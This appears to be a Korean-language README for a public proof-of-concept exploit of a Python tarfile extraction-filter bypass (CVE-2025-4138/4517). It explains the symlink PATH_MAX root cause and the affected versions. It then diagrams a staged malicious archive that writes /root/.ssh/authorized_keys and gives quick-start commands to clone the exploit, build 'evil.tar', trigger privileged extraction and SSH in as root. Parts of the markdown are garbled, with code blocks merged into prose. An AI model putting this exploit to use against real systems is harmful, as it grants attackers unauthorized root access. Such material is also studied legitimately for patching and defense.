
CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX 심볼릭 링크 필터 우회
filter="data" / filter="tar" 추출을 통한 임의 파일 쓰기
Python의 tarfile 모듈에서 심각한 취약점이 발견되었습니다. 공격자는 추출 필터("data" 및 "tar")를 우회하여 의도된 추출 디렉터리 외부에 임의 파일을 쓸 수 있습니다. 권한 있는 프로세스(예: 루트 수준의 백업 스크립트, CI/CD 파이프라인, 패키지 설치 프로그램)가 안전하다고 간주되는 filter="data" 매개변수를 사용하여 공격자가 제어하는 tar 아카이브를 추출하면, 이 익스플로잇은 해당 권한 사용자로 완전한 임의 파일 쓰기를 달성하며, 일반적으로 루트로 권한 상승됩니다.
근본 원인은 os.path.realpath()의 동작상의 특성에 있습니다. 이 함수는 전체 경로가 확장되어 PATH_MAX(리눅스에서 4096바이트, macOS에서 1024바이트)를 초과하면 심볼릭 링크 확인을 조용히 중단합니다. tarfile 필터는 안전성 검사를 위해 realpath()에 의존하지만, 커널은 추출 중에 독립적으로 심볼릭 링크를 확인합니다. 이로 인해 TOCTOU(Time-of-Check-to-Time-of-Use) 간격이 발생하여 디렉터리 탈출이 가능해집니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2025-4138, CVE-2025-4517 |
| CVSS v3.1 | 9.4 (심각) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L |
| CWE | CWE-22 — 경로명을 제한된 디렉터리로 제한하지 않음 |
| 취약점 유형 | 심볼릭 링크를 통한 경로 탐색 / 필터 우회 |
| 영향 | 임의 파일 쓰기 → 권한 상승, 샌드박스 탈출, 데이터 변조 |
| 공격 벡터 | 악성 tar 아카이브를 필터를 사용하는 tarfile.extractall()을 사용하는 모든 애플리케이션에 전달 |
| 영향받는 버전 | Python 3.12.0 – 3.12.10, 3.13.0 – 3.13.3 |
| 수정된 버전 | Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| 패치 | CPython PR #135037 |
| 권고 | GHSA-hgqp-3mmf-7h8f |
| 제보자 | Caleb Brown — Google 보안 연구팀 |
┌───────────────────────────────────────────┐
│ Malicious Tar Structure │
└───────────────────────────────────────────┘
Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX
ddd...ddd/ (directory, 247 chars)
a → ddd...ddd (symlink, 1 char name → 247 char dir)
ddd...ddd/ddd...ddd/ (nested directory)
b → ddd...ddd (symlink)
... ×16 levels
Short path (symlinks): a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p ~31 chars
Resolved path (dirs): ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/… ~3968 chars
↑ nearing PATH_MAX
Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving
a/b/c/…/p/lll…lll → ../../../../../../../../../../../../../../../../..
(16 levels of ".." — traverses back to extraction root)
┌─────────────────────────────────────────────────────────────────┐
│ os.path.realpath() CANNOT expand this → filter says "OK" ✓ │
│ Linux kernel DOES follow chain → actually escapes ✗ │
└─────────────────────────────────────────────────────────────────┘
Stage 3 ── Escape symlink resolves to arbitrary filesystem path
escape → <overflow_link>/../../../../../../../root
Stage 4 ── Create intermediate directories through the escape
escape/.ssh/ (directory, mode 0700 — created by tar extraction)
Stage 5 ── Write payload through the escaped symlink
escape/.ssh/authorized_keys → writes to /root/.ssh/authorized_keys 🔓
---
## 영향을 받는 버전
| 파이썬 브랜치 | 취약 범위 | 수정된 버전 | 상태 |
|:--|:--|:--|:--|
| 3.13 | 3.13.0 – 3.13.3 | **3.13.4** | ✅ 패치 완료 |
| 3.12 | 3.12.0 – 3.12.10 | **3.12.11** | ✅ 패치 완료 |
| 3.11 | 3.11.4 – 3.11.12 | **3.11.13** | ✅ 패치 완료 |
| 3.10 | 3.10.12 – 3.10.17 | **3.10.18** | ✅ 패치 완료 |
| 3.9 | 3.9.17 – 3.9.22 | **3.9.23** | ✅ 패치 완료 |
| 3.8 | 3.8.17 – 3.8.20 | — | ❌ 지원 종료 |
| 3.14+ | 기본 필터가 `"data"`로 변경됨 | 최신 버전 확인 | ⚠️ 노출 위험 증가 |
> **참고:** Python 3.14+는 기본 `filter` 매개변수를 필터 없음에서 `"data"`로 변경했습니다. 즉, 이전에 필터가 없어서 이미 안전하지 않았던 애플리케이션은 이제 기본적으로 취약한 필터를 사용하게 됩니다.
---
## 영향을 받는 코드 패턴
취약한 파이썬 버전에서 다음과 같이 수행하는 모든 애플리케이션은 악용 가능합니다.```python
import tarfile
# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data")
# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="tar")
일반적인 실제 발생 사례:
.tar 배포를 처리하는 경우git clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git cd CVE-2025-4138-4517-POC
python3 exploit.py --help
**요구 사항:** Python 3.6+ (아카이브 생성을 위해 — **대상**은 취약한 버전을 실행해야 함)
---
## 사용법
### 빠른 시작 — SSH 키 주입```bash
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub # verify key was created
# 2. Create the malicious tar archive
python3 exploit.py \
--preset ssh-key \
--payload ~/.ssh/id_ed25519.pub \
--tar-out ./evil.tar
# 3. Deliver the tar and trigger privileged extraction
# (method varies — backup script, upload endpoint, CI pipeline, etc.)
# Example: sudo python3 vulnerable_app.py --extract evil.tar
# 4. SSH in as root (use the SAME key you generated in step 1)
ssh -i ~/.ssh/id_ed25519 root@target
중요: 이 익스플로잇은 tar 아카이브 내부에 중간 디렉토리(예:
/root/.ssh/)를 자동으로 생성합니다. 대상 디렉토리가 파일 시스템에 존재하지 않으면extractall()이 추출 중에 생성합니다.